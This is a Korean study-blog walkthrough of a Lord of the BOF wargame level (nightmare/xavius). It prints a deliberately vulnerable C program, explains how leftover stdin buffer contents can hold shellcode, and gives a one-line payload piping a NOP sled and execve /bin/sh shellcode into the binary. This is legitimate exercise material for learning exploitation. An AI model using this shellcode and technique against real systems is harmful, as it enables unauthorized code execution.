yehey's 공부 노트 \n ο(=•ω<=)ρ⌒☆

LOB 19번 풀이 (nightmare) 본문

wargame 풀이/LOB

LOB 19번 풀이 (nightmare)

yehey 2021. 1. 4. 21:13
id: nightmare
pw: beg for me
/*
        The Lord of the BOF : The Fellowship of the BOF
        - xavius
        - arg
*/

#include <stdio.h>
#include <stdlib.h>
#include <dumpcode.h>

main()
{
        char buffer[40];
        char *ret_addr;

        // overflow!
        fgets(buffer, 256, stdin);
        printf("%s\n", buffer);

        if(*(buffer+47) == '\xbf')
        {
                printf("stack retbayed you!\n");
                exit(0);
        }

        if(*(buffer+47) == '\x08')
        {
                printf("binary image retbayed you, too!!\n");
                exit(0);
        }

        // check if the ret_addr is library function or not
        memcpy(&ret_addr, buffer+44, 4);
        while(memcmp(ret_addr, "\x90\x90", 2) != 0)     // end point of function
        {
                if(*ret_addr == '\xc9'){                // leave
                        if(*(ret_addr+1) == '\xc3'){    // ret
                                printf("You cannot use library function!\n");
                                exit(0);
                        }
                }
                ret_addr++;
        }

        // stack destroyer
        memset(buffer, 0, 44);
        memset(buffer+48, 0, 0xbfffffff - (int)(buffer+48));

        // LD_* eraser
        // 40 : extra space for memset function
        memset(buffer-3000, 0, 3000-40);
}

 

  • ret에 스택 영역과 코드 영역 주소 사용 불가
  • fgets 취약점
  • library 영역은 ret에 사용할 수 있으나 leave와 ret가 포함되지 않았을 때만 종료되지 않음
  • stack은 ret를 제외하고 모두 초기화 됨
  • LD영역도 초기화

이번에는 쉘 코드를 저장할 다른 공간을 찾아서 ret 주소를 바꾸어야할 것 같다.

이전 문제들과 다른 점은 fgets 함수에서 bof 취약점이 발생한다.

fgets 함수는 stdin을 이용해서 값을 읽어오고 있는데 그러면 우리가 stdin으로 값을 넘겨주고 나서도 stdin에 그 값이 남아있을지를 확인해보자 

 

우선 gdb에서 A를 256개 넣어주려고 하는데 stdin으로 입력하기 위해 A가 256개 입력된 파일 A를 만든다.

 

그리고 xavius를 복사한 파일을 gdb에서 A파일을 stdin으로 실행시켜준다.

 

segmentation fault 가 일어났다.

이제 stdin을 확인해보자

 

stdin을 출력하자 여러개의 주소가 출력되었다. <_IO_2_1_stdin_>

해당 주소를 출력해보았는데 0x40015000에서 A의 아스키 코드가 출력되었다.

주소를 조금씩 바꾸어가며 출력해보자

 

우리가 A를 256개 입력했는데 0x40015000+256부터는 A가 출력되지 않았다. 딱 256개가 출력되었음을 알 수 있다.

그리고 0x40015000-4에도 A는 출력되지 않았다.

따라서 stdin에서 우리가 입력한 값은 0x40015000부터 저장된다는 것을 알았고 fgets 수행 후에도 초기화되지 않는 것을 볼 수 있다.

 

그럼이제 ret에 stdin으로 쉘 코드를 입력해주고 stdin의 주소 0x40015000을 넣어주면 쉘 코드가 실행될 것이다.

 

payload: (python -c 'print ("\x90"*19+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80")';cat)|./xavius

 

 

xavius의 pw: "throw me away"

'wargame 풀이 > LOB' 카테고리의 다른 글

LOB 18번 풀이 (succubus)  (0) 2021.01.04
LOB 17번 풀이 (zombie_assassin)  (0) 2021.01.03
LOB 16번 풀이 (assassin)  (0) 2021.01.02
LOB 15번 풀이 (giant)  (0) 2021.01.01
LOB 14번 풀이 (bugbear)  (0) 2020.12.31
Comments